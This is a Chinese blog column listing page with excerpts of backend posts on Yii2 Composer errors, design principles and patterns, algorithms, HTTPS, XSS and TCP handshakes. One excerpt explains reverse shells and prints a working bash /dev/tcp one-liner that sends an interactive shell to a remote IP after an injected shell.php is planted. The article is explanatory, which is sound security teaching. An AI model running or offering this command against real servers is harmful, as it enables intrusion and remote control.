后端
文章平均质量分 79
网络基础
keep-study
学海无涯不坐舟
展开
-
Yii2项目使用composer异常记录
在yii2项目中,使用require命令安装依赖时,出现如下错误提示该提示意思是:composer运行时,执行了yiisoft/yii2-composer目录下的插件,但是该插件使用的API版本是1.0,但是当前的cmposer版本提供的API接口本本是2.2.0,导致该插件无法正常执行。建议使用composer update --no-plugins 命令,把插件相关的组件升级到最新版本,让插件依赖的API版本升级到2.0以上。原创 2024-02-18 11:52:17 · 610 阅读 · 0 评论 -
面向对象设计原则快速理解
面向对象设计原则有7个,但有的地方把常用的前5个简称为五大原则。原创 2022-09-13 18:03:32 · 244 阅读 · 0 评论 -
一次搞懂几种常用的设计模式
设计模式虽多,但实际开发中,我们常用的无非是简单的几种,即:工厂模式、依赖倒置、控制反转、依赖注入。原创 2019-12-31 16:50:15 · 527 阅读 · 0 评论 -
常用算法记录整理
然后从$arr中查找,键值是以1开头的,以1之后的节点结尾的路径。如果有,且路径值+1节点的权值原创 2022-07-28 18:07:32 · 1894 阅读 · 0 评论 -
反弹shell原理和实现
当一些框架和代码,不小心让可执行shell命令的函数存在注入漏洞时,会被利用注入漏洞执行一些shell命令。入侵者为了防止漏洞被修复,无法通过正向链接侵入服务器时,会被利用shell反弹原理种马。首先,侵入者会利用注入参数,创建一个shell.php文件,文件内容如下通过web访问并执行shell.php文件exec('bash -i &> /dev/tcp/10.201.61.194/5566 0>&1');这条命令的作用是,在服务器建立一个可以与10.201.61.原创 2022-01-18 12:01:28 · 3526 阅读 · 0 评论 -
一次完整的HTPPS请求
文章目录第一次http请求443端口第一次数据发送:客户端发起第二次数据发送:服务器发起第三次数据发送:客户端发起第四次数据发送:服务端发起第二次http请求https的本质首先我们知道,http是基于TCL/IP协议。在http的基础上,在TCP/IP与http中间加一层SSL加密协议,就变成了HTTP over SSL,简称https。一次完整的https请求,其实是由两次http请求构成的第一次http请求443端口HTTPS工作在443端口,所以第一次http请求443端口这次请求的主要原创 2022-01-13 15:40:05 · 5308 阅读 · 0 评论 -
XSS跨站脚本攻击理解
简单描述XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。造成的结果,轻微的是在网页显示中插入乱码或者js弹框或跳转,影响用户体验。严重的是获取用户的cookie值,登录用户账户进行破坏。针对这种情况,我们可以对用户提交的数据在php段使用函数过滤掉html标签即可。使用富文本编辑器时...原创 2019-06-27 17:08:33 · 273 阅读 · 0 评论 -
TCP 三次握手和四次挥手
转载 2020-04-14 16:58:57 · 90 阅读 · 0 评论